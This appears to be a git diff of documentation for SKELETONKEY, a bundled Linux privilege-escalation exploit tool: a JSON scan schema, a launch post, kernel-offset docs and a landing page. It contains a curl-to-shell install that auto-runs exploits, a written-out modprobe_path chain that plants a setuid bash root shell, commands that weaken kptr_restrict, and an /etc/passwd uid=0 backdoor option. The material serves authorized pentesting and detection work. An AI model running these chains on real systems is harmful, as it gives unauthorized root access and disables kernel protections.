## Persistence and stealth are out of scope
|
||||||
|
|
||||||
`--exploit-backdoor` in the copy_fail module overwrites a
|
`--exploit-backdoor` in the copy_fail module overwrites a
|
||||||
`/etc/passwd` line with a `uid=0` shell account. This is **overt**:
|
`/etc/passwd` line with a `uid=0` shell account. This is **overt**:
|
||||||
|
|
||||||
- The username is `iamroot` (was `dirtyfail`) — instantly identifiable
|
- The username is `skeletonkey` (was `dirtyfail`) — instantly identifiable
|
||||||
- It's covered by the auditd rules IAMROOT ships
|
- It's covered by the auditd rules SKELETONKEY ships
|
||||||
- `--cleanup-backdoor` restores the original line
|
- `--cleanup-backdoor` restores the original line
|
||||||
|
|
||||||
If you're looking for evasion, persistence, or stealth: not here.
|
If you're looking for evasion, persistence, or stealth: not here.
|
||||||
Use a real C2 framework if you have authorization to do so. IAMROOT
|
Use a real C2 framework if you have authorization to do so. SKELETONKEY
|
||||||
stops at "demonstrate that the bug works."
|
stops at "demonstrate that the bug works."
|
||||||
|
|||||||
@@ -0,0 +1,139 @@
|
|||||||
|
# SKELETONKEY JSON output schema
|
||||||
|
|
||||||
|
`skeletonkey --scan --json` (and `--auto --json`, planned) emit a
|
||||||
|
single JSON object on **stdout**. All human-readable banner lines and
|
||||||
|
per-module log chatter go to **stderr** in JSON mode — pipes to SIEMs
|
||||||
|
and fleet aggregators get a clean machine-parseable document on
|
||||||
|
stdout while operators still see diagnostics on stderr.
|
||||||
|
|
||||||
|
This document is the contract for that JSON. SKELETONKEY treats it
|
||||||
|
as a stability commitment: new fields may appear in future releases,
|
||||||
|
but existing field names and value types do not change without a
|
||||||
|
major-version bump.
|
||||||
|
|
||||||
|
## Top-level object
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"version": "0.6.0",
|
||||||
|
"modules": [ /* ... per-module entries ... */ ]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
| Field | Type | Stability | Meaning |
|
||||||
|
|------------|----------|------------|---------|
|
||||||
|
| `version` | string | stable | The SKELETONKEY release that produced this document. Semver-ish (`MAJOR.MINOR.PATCH`). Consumers may use it to correlate with the corpus inventory in [`CVES.md`](../CVES.md). |
|
||||||
|
| `modules` | array | stable | One entry per registered module, emitted in the order the dispatcher's `--list` reports them. Length grows monotonically as new modules land. |
|
||||||
|
|
||||||
|
## Per-module entry
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"name": "dirty_pipe",
|
||||||
|
"cve": "CVE-2022-0847",
|
||||||
|
"result": "OK"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
| Field | Type | Stability | Meaning |
|
||||||
|
|----------|--------|-----------|---------|
|
||||||
|
| `name` | string | stable | The module's CLI identifier — what you pass to `--exploit <name>`. Lowercase, ASCII, `_`-delimited. Never changes for a given module across releases. |
|
||||||
|
| `cve` | string | stable | The CVE identifier (`CVE-YYYY-NNNNN`), or `"VARIANT"` for sibling variants without their own CVE (e.g. `copy_fail_gcm`), or `"-"` for primitives like `entrybleed` that have a CVE-less role. |
|
||||||
|
| `result` | string | stable | One of the `result` enum values below. |
|
||||||
|
|
||||||
|
## `result` enum
|
||||||
|
|
||||||
|
| Value | Exit code | Meaning |
|
||||||
|
|----------------|-----------|---------|
|
||||||
|
| `OK` | 0 | Module's `detect()` ran successfully. Host is **patched** for this CVE, or the bug class is not applicable here (predates the introduction, wrong arch, etc.). Safe to ignore for this host. |
|
||||||
|
| `TEST_ERROR` | 1 | `detect()` could not decide — the host fingerprint is missing data, the version parser failed, or an internal probe errored. Treat as "no information; check manually." |
|
||||||
|
| `VULNERABLE` | 2 | Host is **vulnerable** to this CVE per the module's detect logic (version-based and/or empirical active probe). `--exploit <name> --i-know` will attempt to land root. |
|
||||||
|
| `EXPLOIT_FAIL` | 3 | Only ever returned by `--exploit`, never by `--scan`. Exploit was attempted but did not land root. Diagnostic context goes to stderr. |
|
||||||
|
| `PRECOND_FAIL` | 4 | A documented precondition is not met on this host — examples: unprivileged user namespaces disabled, AppArmor restriction on, sudo not installed, AF_RXRPC unavailable. The bug may exist on the kernel but the carrier path here is closed. |
|
||||||
|
| `EXPLOIT_OK` | 5 | Only ever returned by `--exploit` / `--auto`. Root was achieved; for `--auto` mode this is the process exit code that drove the dispatcher into a root shell. |
|
||||||
|
|
||||||
|
## Process exit code semantics for `--scan`
|
||||||
|
|
||||||
|
The process exit code is the **worst (highest) result code** observed
|
||||||
|
across all modules. This lets a SIEM treat the binary's exit code as
|
||||||
|
a single-host alert level without re-parsing JSON:
|
||||||
|
|
||||||
|
| Exit code | Interpretation |
|
||||||
|
|-----------|-----------------------------------------------------|
|
||||||
|
| 0 | All modules `OK`. Host is patched for the corpus. |
|
||||||
|
| 1 | At least one module returned `TEST_ERROR`. Investigate. |
|
||||||
|
| 2 | At least one module returned `VULNERABLE`. Patch the host. |
|
||||||
|
| 4 | At least one module returned `PRECOND_FAIL` (and none worse). Host has reduced attack surface but is not necessarily safe. |
|
||||||
|
|
||||||
|
(Process exit codes 3 and 5 are exclusive to the `--exploit` /
|
||||||
|
`--auto` modes and never appear in `--scan` output.)
|
||||||
|
|
||||||
|
## Example: invoking + parsing
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# capture pure JSON
|
||||||
|
skeletonkey --scan --json --no-color > host-$(hostname).json 2> /dev/null
|
||||||
|
|
||||||
|
# any vulnerable modules?
|
||||||
|
jq -e '.modules[] | select(.result == "VULNERABLE") | .name' host-*.json
|
||||||
|
|
||||||
|
# fleet roll-up — modules vulnerable across the fleet, by frequency
|
||||||
|
jq -s 'map(.modules[] | select(.result == "VULNERABLE") | .name)
|
||||||
|
| flatten | group_by(.) | map({mod: .[0], count: length})
|
||||||
|
| sort_by(-.count)' host-*.json
|
||||||
|
```
|
||||||
|
|
||||||
|
`jq -e` exits non-zero when its selector matches nothing, giving the
|
||||||
|
fleet runner a per-host "any-vulnerable" boolean without parsing the
|
||||||
|
document.
|
||||||
|
|
||||||
|
## Stability promises
|
||||||
|
|
||||||
|
**Stable across non-major releases:**
|
||||||
|
|
||||||
|
- Field names listed in the tables above (`version`, `modules`, `name`,
|
||||||
|
`cve`, `result`).
|
||||||
|
- The `result` enum string set. New result strings cannot appear
|
||||||
|
without a major version bump.
|
||||||
|
- The `modules` array containing exactly one entry per registered
|
||||||
|
module.
|
||||||
|
- Exit-code semantics for `--scan`.
|
||||||
|
|
||||||
|
**May change without notice:**
|
||||||
|
|
||||||
|
- The `modules` array length, ordering, and contents (new modules are
|
||||||
|
added regularly; ordering follows registration order which is
|
||||||
|
stable per release but not a contract).
|
||||||
|
- Whitespace / formatting of the JSON itself (consumers MUST parse,
|
||||||
|
not regex).
|
||||||
|
- Field values for `cve` (a stub variant could gain a real CVE later).
|
||||||
|
|
||||||
|
**May be added in future minor versions:**
|
||||||
|
|
||||||
|
- New per-module fields (e.g. `family`, `summary`, `safety_rank`,
|
||||||
|
`kernel_range`). Consumers MUST ignore unknown fields.
|
||||||
|
- New top-level fields (e.g. `host_fingerprint`, `scan_started_at`,
|
||||||
|
`schema_version`). Consumers MUST ignore unknown fields.
|
||||||
|
- A `--scan --active --json` output may grow per-probe verdict
|
||||||
|
metadata under a new `probe` sub-object.
|
||||||
|
|
||||||
|
## Recommended consumer pattern
|
||||||
|
|
||||||
|
```python
|
||||||
|
import json, subprocess, sys
|
||||||
|
|
||||||
|
doc = json.loads(subprocess.check_output(
|
||||||
|
["skeletonkey", "--scan", "--json", "--no-color"],
|
||||||
|
stderr=subprocess.DEVNULL,
|
||||||
|
))
|
||||||
|
|
||||||
|
assert doc["version"], "missing top-level version"
|
||||||
|
for mod in doc["modules"]:
|
||||||
|
assert mod["name"] and mod["cve"] and mod["result"], \
|
||||||
|
f"malformed module entry: {mod!r}"
|
||||||
|
if mod["result"] == "VULNERABLE":
|
||||||
|
print(f"{mod['name']} ({mod['cve']}): VULNERABLE", file=sys.stderr)
|
||||||
|
```
|
||||||
|
|
||||||
|
Ignore unknown fields. Match `result` against the enum, but treat
|
||||||
|
unknown strings as `TEST_ERROR`-equivalent (forward-compat).
|
||||||
+102
@@ -0,0 +1,102 @@
|
|||||||
|
# SKELETONKEY — launch post
|
||||||
|
|
||||||
|
> Copy-pasteable for HN, lobste.rs, mastodon, blog. ~600 words.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## SKELETONKEY: a curated Linux LPE corpus with detection rules baked in
|
||||||
|
|
||||||
|
The Linux privilege-escalation space is fragmented. Single-CVE PoC
|
||||||
|
repos go stale within months. `linux-exploit-suggester` tells you
|
||||||
|
what *might* work but doesn't run anything. `auto-root-exploit` and
|
||||||
|
`kernelpop` bundle exploits but ship no detection signatures and
|
||||||
|
haven't been maintained in years.
|
||||||
|
|
||||||
|
**SKELETONKEY** is one curated binary that:
|
||||||
|
|
||||||
|
1. Fingerprints the host's kernel / distro / sudo / userland.
|
||||||
|
2. Reports which of 28 bundled CVEs that host is still vulnerable
|
||||||
|
to — covering 2016 through 2026.
|
||||||
|
3. With explicit `--i-know` authorization, runs the safest one and
|
||||||
|
gets you root.
|
||||||
|
4. Ships matching **auditd + sigma rules** for every CVE so blue
|
||||||
|
teams get the same coverage when they deploy it.
|
||||||
|
|
||||||
|
### One command
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||||
|
&& skeletonkey --auto --i-know
|
||||||
|
```
|
||||||
|
|
||||||
|
`--auto` ranks vulnerable modules by **exploit safety** —
|
||||||
|
structural escapes (no kernel state touched) first, then page-cache
|
||||||
|
writes, then userspace cred-races, then kernel primitives, then
|
||||||
|
kernel races last — and runs the safest match. If it fails it falls
|
||||||
|
back gracefully and tells you the next candidates to try manually.
|
||||||
|
|
||||||
|
### What's in the corpus
|
||||||
|
|
||||||
|
- **Userspace LPE**: pwnkit (CVE-2021-4034), sudo Baron Samedit
|
||||||
|
(CVE-2021-3156), sudoedit EDITOR escape (CVE-2023-22809)
|
||||||
|
- **Page-cache writes**: dirty_pipe (CVE-2022-0847), dirty_cow
|
||||||
|
(CVE-2016-5195), copy_fail family (CVE-2026-31431, 43284, 43500)
|
||||||
|
- **Container/namespace**: cgroup_release_agent (CVE-2022-0492),
|
||||||
|
overlayfs (CVE-2021-3493), overlayfs_setuid (CVE-2023-0386),
|
||||||
|
fuse_legacy (CVE-2022-0185)
|
||||||
|
- **Kernel primitives**: netfilter (4 CVEs from 2022→2024),
|
||||||
|
af_packet (CVE-2017-7308, CVE-2020-14386), cls_route4
|
||||||
|
(CVE-2022-2588), netfilter_xtcompat (CVE-2021-22555)
|
||||||
|
- **Kernel races**: stackrot (CVE-2023-3269), af_unix_gc
|
||||||
|
(CVE-2023-4622), Sequoia (CVE-2021-33909)
|
||||||
|
- **Side channels**: EntryBleed kbase leak (CVE-2023-0458)
|
||||||
|
- **Graphics**: vmwgfx DRM OOB (CVE-2023-2008)
|
||||||
|
- **Userspace classic**: PTRACE_TRACEME (CVE-2019-13272)
|
||||||
|
|
||||||
|
Full inventory at
|
||||||
|
[CVES.md](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md).
|
||||||
|
|
||||||
|
### The verified-vs-claimed bar
|
||||||
|
|
||||||
|
Most public PoC repos hardcode offsets for one kernel build and
|
||||||
|
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||||
|
offsets. Modules with a kernel primitive but no per-kernel
|
||||||
|
cred-overwrite chain default to firing the primitive + grooming the
|
||||||
|
slab + recording an empirical witness, then return
|
||||||
|
`EXPLOIT_FAIL` honestly. The opt-in `--full-chain` engages the
|
||||||
|
shared `modprobe_path` finisher with sentinel-arbitrated success
|
||||||
|
(it only claims root when a setuid bash actually materializes).
|
||||||
|
|
||||||
|
When `--full-chain` needs kernel offsets, you populate them once on
|
||||||
|
a target kernel via `skeletonkey --dump-offsets` (parses
|
||||||
|
`/proc/kallsyms` or `/boot/System.map`) and either set env vars or
|
||||||
|
upstream the entry to `core/offsets.c kernel_table[]` via PR.
|
||||||
|
|
||||||
|
### For each side of the house
|
||||||
|
|
||||||
|
- **Red team**: stop curating broken PoCs. One tested binary, fresh
|
||||||
|
releases, honest scope reporting.
|
||||||
|
- **Sysadmins**: one command, no SaaS, JSON output for CI gates.
|
||||||
|
Fleet-scan tool included.
|
||||||
|
- **Blue team**: `skeletonkey --detect-rules --format=auditd | sudo
|
||||||
|
tee /etc/audit/rules.d/99-skeletonkey.rules` and you have coverage
|
||||||
|
for every CVE in the bundle. Sigma + YARA + Falco output also
|
||||||
|
supported.
|
||||||
|
|
||||||
|
### Status + roadmap
|
||||||
|
|
||||||
|
v0.5.0 today: 28 modules, all build clean on Debian 13 / kernel
|
||||||
|
6.12, all refuse-on-patched verified. The embedded offset table is
|
||||||
|
empty — operator-populated. Next: empirical validation on a
|
||||||
|
multi-distro vuln-kernel VM matrix, then offset-table community
|
||||||
|
seeding for common cloud builds.
|
||||||
|
|
||||||
|
MIT. Each module credits the original CVE reporter and PoC author
|
||||||
|
in its `NOTICE.md`. The research credit belongs to the people who
|
||||||
|
found the bugs; SKELETONKEY is the bundling layer.
|
||||||
|
|
||||||
|
**Repo:** https://github.com/KaraZajac/SKELETONKEY
|
||||||
|
**Release:** https://github.com/KaraZajac/SKELETONKEY/releases/latest
|
||||||
|
|
||||||
|
Authorized testing only. Read [docs/ETHICS.md](ETHICS.md) before you
|
||||||
|
point this at anything you don't own.
|
||||||
+50
-23
@@ -1,20 +1,20 @@
|
|||||||
# IAMROOT — kernel offset resolution
|
# SKELETONKEY — kernel offset resolution
|
||||||
|
|
||||||
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||||
write, slab UAF, etc.). The default `--exploit` returns
|
write, slab UAF, etc.). The default `--exploit` returns
|
||||||
`IAMROOT_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
|
`SKELETONKEY_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
|
||||||
bar means we don't claim root unless we empirically have it.
|
bar means we don't claim root unless we empirically have it.
|
||||||
|
|
||||||
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
|
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
|
||||||
converts the primitive to a real root pop via `modprobe_path` overwrite:
|
converts the primitive to a real root pop via `modprobe_path` overwrite:
|
||||||
|
|
||||||
```
|
```
|
||||||
attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-<pid>.sh")
|
attacker → arb_write(modprobe_path, "/tmp/skeletonkey-mp-<pid>.sh")
|
||||||
→ execve("/tmp/iamroot-trig-<pid>") # unknown-format binary
|
→ execve("/tmp/skeletonkey-trig-<pid>") # unknown-format binary
|
||||||
→ kernel call_modprobe() # spawns modprobe_path as init
|
→ kernel call_modprobe() # spawns modprobe_path as init
|
||||||
→ /tmp/iamroot-mp-<pid>.sh runs as root
|
→ /tmp/skeletonkey-mp-<pid>.sh runs as root
|
||||||
→ cp /bin/bash /tmp/iamroot-pwn-<pid>; chmod 4755 /tmp/iamroot-pwn-<pid>
|
→ cp /bin/bash /tmp/skeletonkey-pwn-<pid>; chmod 4755 /tmp/skeletonkey-pwn-<pid>
|
||||||
→ caller exec /tmp/iamroot-pwn-<pid> -p
|
→ caller exec /tmp/skeletonkey-pwn-<pid> -p
|
||||||
→ root shell
|
→ root shell
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -27,14 +27,14 @@ address) at runtime.
|
|||||||
non-zero value for each field:
|
non-zero value for each field:
|
||||||
|
|
||||||
1. **Environment variables** — operator override.
|
1. **Environment variables** — operator override.
|
||||||
- `IAMROOT_KBASE=0x...`
|
- `SKELETONKEY_KBASE=0x...`
|
||||||
- `IAMROOT_MODPROBE_PATH=0x...`
|
- `SKELETONKEY_MODPROBE_PATH=0x...`
|
||||||
- `IAMROOT_POWEROFF_CMD=0x...`
|
- `SKELETONKEY_POWEROFF_CMD=0x...`
|
||||||
- `IAMROOT_INIT_TASK=0x...`
|
- `SKELETONKEY_INIT_TASK=0x...`
|
||||||
- `IAMROOT_INIT_CRED=0x...`
|
- `SKELETONKEY_INIT_CRED=0x...`
|
||||||
- `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
|
- `SKELETONKEY_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
|
||||||
- `IAMROOT_CRED_OFFSET_EFF=0x...`
|
- `SKELETONKEY_CRED_OFFSET_EFF=0x...`
|
||||||
- `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
|
- `SKELETONKEY_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
|
||||||
|
|
||||||
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
|
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
|
||||||
OR you're already root. On modern distros (kptr_restrict=1 by
|
OR you're already root. On modern distros (kptr_restrict=1 by
|
||||||
@@ -60,22 +60,49 @@ non-zero value for each field:
|
|||||||
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
|
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
|
||||||
|
|
||||||
# Use the addresses inline:
|
# Use the addresses inline:
|
||||||
IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \
|
SKELETONKEY_MODPROBE_PATH=0xffffffff8228e7e0 \
|
||||||
iamroot --exploit nf_tables --i-know --full-chain
|
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### Automated dump (preferred for upstreaming)
|
||||||
|
|
||||||
|
`skeletonkey --dump-offsets` walks the four-source chain itself and emits
|
||||||
|
a ready-to-paste C struct entry on stdout:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo skeletonkey --dump-offsets
|
||||||
|
# /* Generated 2026-05-16 by `skeletonkey --dump-offsets`.
|
||||||
|
# * Host kernel: 5.15.0-56-generic distro=ubuntu
|
||||||
|
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
|
||||||
|
# * Paste this entry into kernel_table[] in core/offsets.c.
|
||||||
|
# */
|
||||||
|
# { .release_glob = "5.15.0-56-generic",
|
||||||
|
# .distro_match = "ubuntu",
|
||||||
|
# .rel_modprobe_path = 0x148e480,
|
||||||
|
# .rel_poweroff_cmd = 0x148e3a0,
|
||||||
|
# .rel_init_task = 0x1c11dc0,
|
||||||
|
# .rel_init_cred = 0x1e0c460,
|
||||||
|
# .cred_offset_real = 0x738,
|
||||||
|
# .cred_offset_eff = 0x740,
|
||||||
|
# },
|
||||||
|
```
|
||||||
|
|
||||||
|
Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
|
||||||
|
and the new entry covers every SKELETONKEY user on that kernel. Open a
|
||||||
|
PR to upstream it.
|
||||||
|
|
||||||
### Per-host (write System.map readable)
|
### Per-host (write System.map readable)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo chmod 0644 /boot/System.map-$(uname -r)
|
sudo chmod 0644 /boot/System.map-$(uname -r)
|
||||||
iamroot --exploit nf_tables --i-know --full-chain
|
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||||
```
|
```
|
||||||
|
|
||||||
### Per-boot (lower kptr_restrict)
|
### Per-boot (lower kptr_restrict)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo sysctl kernel.kptr_restrict=0
|
sudo sysctl kernel.kptr_restrict=0
|
||||||
iamroot --exploit nf_tables --i-know --full-chain
|
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||||
```
|
```
|
||||||
|
|
||||||
Note: each of these requires root *once*. For a true non-root LPE on
|
Note: each of these requires root *once*. For a true non-root LPE on
|
||||||
@@ -117,14 +144,14 @@ build + distro you tested against. Upstreamed entries make the
|
|||||||
|
|
||||||
## Verifying success
|
## Verifying success
|
||||||
|
|
||||||
The shared finisher (`iamroot_finisher_modprobe_path()`) drops a
|
The shared finisher (`skeletonkey_finisher_modprobe_path()`) drops a
|
||||||
sentinel file at `/tmp/iamroot-pwn-<pid>` after `modprobe` runs our
|
sentinel file at `/tmp/skeletonkey-pwn-<pid>` after `modprobe` runs our
|
||||||
payload. The finisher polls for this file with `S_ISUID` mode set
|
payload. The finisher polls for this file with `S_ISUID` mode set
|
||||||
for up to 3 seconds. Only when the sentinel materializes does the
|
for up to 3 seconds. Only when the sentinel materializes does the
|
||||||
module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec
|
module return `SKELETONKEY_EXPLOIT_OK` and (unless `--no-shell`) exec
|
||||||
the setuid bash to drop a root shell.
|
the setuid bash to drop a root shell.
|
||||||
|
|
||||||
If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL`
|
If the sentinel never appears the module returns `SKELETONKEY_EXPLOIT_FAIL`
|
||||||
with a diagnostic. Reasons it might fail even with offsets resolved:
|
with a diagnostic. Reasons it might fail even with offsets resolved:
|
||||||
|
|
||||||
- The arb-write didn't actually land (slab adjacency lost, value-pointer
|
- The arb-write didn't actually land (slab adjacency lost, value-pointer
|
||||||
|
|||||||
+289
@@ -0,0 +1,289 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>SKELETONKEY — Curated Linux LPE corpus with detection rules</title>
|
||||||
|
<meta name="description" content="One curated binary. 28 Linux privilege-escalation exploits from 2016 → 2026. Auditd + sigma + yara + falco rules in the box. One command picks the safest LPE and runs it.">
|
||||||
|
<meta property="og:title" content="SKELETONKEY — Curated Linux LPE corpus">
|
||||||
|
<meta property="og:description" content="28 Linux LPE exploits, 2016 → 2026, with detection rules in the box. One command picks the safest one and runs it.">
|
||||||
|
<meta property="og:type" content="website">
|
||||||
|
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
||||||
|
<meta name="twitter:card" content="summary">
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<nav class="nav">
|
||||||
|
<span class="nav-brand">SKELETONKEY</span>
|
||||||
|
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY"
|
||||||
|
aria-label="View on GitHub">
|
||||||
|
<svg height="20" viewBox="0 0 16 16" width="20" fill="currentColor" aria-hidden="true">
|
||||||
|
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38
|
||||||
|
0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13
|
||||||
|
-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66
|
||||||
|
.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15
|
||||||
|
-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0
|
||||||
|
1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82
|
||||||
|
1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01
|
||||||
|
1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||||
|
</svg>
|
||||||
|
<span>GitHub</span>
|
||||||
|
</a>
|
||||||
|
</nav>
|
||||||
|
|
||||||
|
<header class="hero">
|
||||||
|
<div class="container">
|
||||||
|
<h1>SKELETONKEY</h1>
|
||||||
|
<p class="tag">
|
||||||
|
One curated binary. <strong>28 Linux LPE exploits</strong> from
|
||||||
|
2016 → 2026. Detection rules in the box.
|
||||||
|
<strong>One command picks the safest one and runs it.</strong>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div class="install-block">
|
||||||
|
<button class="copy" onclick="copyInstall(this)">copy</button>
|
||||||
|
<pre id="install-cmd"><span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||||
|
&& skeletonkey --auto --i-know</pre>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p class="warn">⚠ Authorized testing only — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></p>
|
||||||
|
|
||||||
|
<div class="cta-row">
|
||||||
|
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">Latest release</a>
|
||||||
|
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY">View on GitHub</a>
|
||||||
|
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">Full CVE inventory</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>Why this exists</h2>
|
||||||
|
<p class="lead">
|
||||||
|
Most Linux privesc tooling is broken in one of three ways:
|
||||||
|
</p>
|
||||||
|
<ul class="tight">
|
||||||
|
<li><strong>linux-exploit-suggester / linpeas</strong> — tell you what <em>might</em> work, run nothing</li>
|
||||||
|
<li><strong>auto-root-exploit / kernelpop</strong> — bundle exploits but ship no detection signatures and went stale years ago</li>
|
||||||
|
<li><strong>Per-CVE PoC repos</strong> — one author, one distro, abandoned within months</li>
|
||||||
|
</ul>
|
||||||
|
<p class="lead" style="margin-top:1rem">
|
||||||
|
SKELETONKEY is one binary, actively maintained, with detection
|
||||||
|
rules for every CVE it bundles — same project for red and blue
|
||||||
|
teams.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>Corpus at a glance</h2>
|
||||||
|
|
||||||
|
<div class="stats">
|
||||||
|
<div class="stat">
|
||||||
|
<span class="stat-num">28</span>
|
||||||
|
<span class="stat-label">verified modules</span>
|
||||||
|
</div>
|
||||||
|
<div class="stat">
|
||||||
|
<span class="stat-num green">14</span>
|
||||||
|
<span class="stat-label">🟢 land root by default</span>
|
||||||
|
</div>
|
||||||
|
<div class="stat">
|
||||||
|
<span class="stat-num yellow">14</span>
|
||||||
|
<span class="stat-label">🟡 primitive + opt-in chain</span>
|
||||||
|
</div>
|
||||||
|
<div class="stat">
|
||||||
|
<span class="stat-num">10y</span>
|
||||||
|
<span class="stat-label">2016 → 2026 coverage</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h3 style="color: var(--green);">🟢 Lands root on a vulnerable host</h3>
|
||||||
|
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Structural exploits + page-cache writes. No per-kernel offsets needed.</p>
|
||||||
|
<div class="pills">
|
||||||
|
<span class="pill green">copy_fail</span>
|
||||||
|
<span class="pill green">copy_fail_gcm</span>
|
||||||
|
<span class="pill green">dirty_frag_esp</span>
|
||||||
|
<span class="pill green">dirty_frag_esp6</span>
|
||||||
|
<span class="pill green">dirty_frag_rxrpc</span>
|
||||||
|
<span class="pill green">dirty_pipe</span>
|
||||||
|
<span class="pill green">dirty_cow</span>
|
||||||
|
<span class="pill green">pwnkit</span>
|
||||||
|
<span class="pill green">overlayfs</span>
|
||||||
|
<span class="pill green">overlayfs_setuid</span>
|
||||||
|
<span class="pill green">cgroup_release_agent</span>
|
||||||
|
<span class="pill green">ptrace_traceme</span>
|
||||||
|
<span class="pill green">sudoedit_editor</span>
|
||||||
|
<span class="pill green">entrybleed</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h3 style="color: var(--yellow);">🟡 Fires kernel primitive · opt-in <code>--full-chain</code></h3>
|
||||||
|
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Default returns <code>EXPLOIT_FAIL</code> honestly. With <code>--full-chain</code> + resolved offsets, runs the shared modprobe_path finisher.</p>
|
||||||
|
<div class="pills">
|
||||||
|
<span class="pill yellow">nf_tables</span>
|
||||||
|
<span class="pill yellow">nft_set_uaf</span>
|
||||||
|
<span class="pill yellow">nft_fwd_dup</span>
|
||||||
|
<span class="pill yellow">nft_payload</span>
|
||||||
|
<span class="pill yellow">netfilter_xtcompat</span>
|
||||||
|
<span class="pill yellow">af_packet</span>
|
||||||
|
<span class="pill yellow">af_packet2</span>
|
||||||
|
<span class="pill yellow">af_unix_gc</span>
|
||||||
|
<span class="pill yellow">cls_route4</span>
|
||||||
|
<span class="pill yellow">fuse_legacy</span>
|
||||||
|
<span class="pill yellow">stackrot</span>
|
||||||
|
<span class="pill yellow">sudo_samedit</span>
|
||||||
|
<span class="pill yellow">sequoia</span>
|
||||||
|
<span class="pill yellow">vmwgfx</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>Who it's for</h2>
|
||||||
|
<div class="cards">
|
||||||
|
<div class="card">
|
||||||
|
<h3>🔴 Red team / pentesters</h3>
|
||||||
|
<p>One tested binary. <code>--auto</code> ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. No more curating stale PoC repos.</p>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<h3>🔵 Blue team / SOC</h3>
|
||||||
|
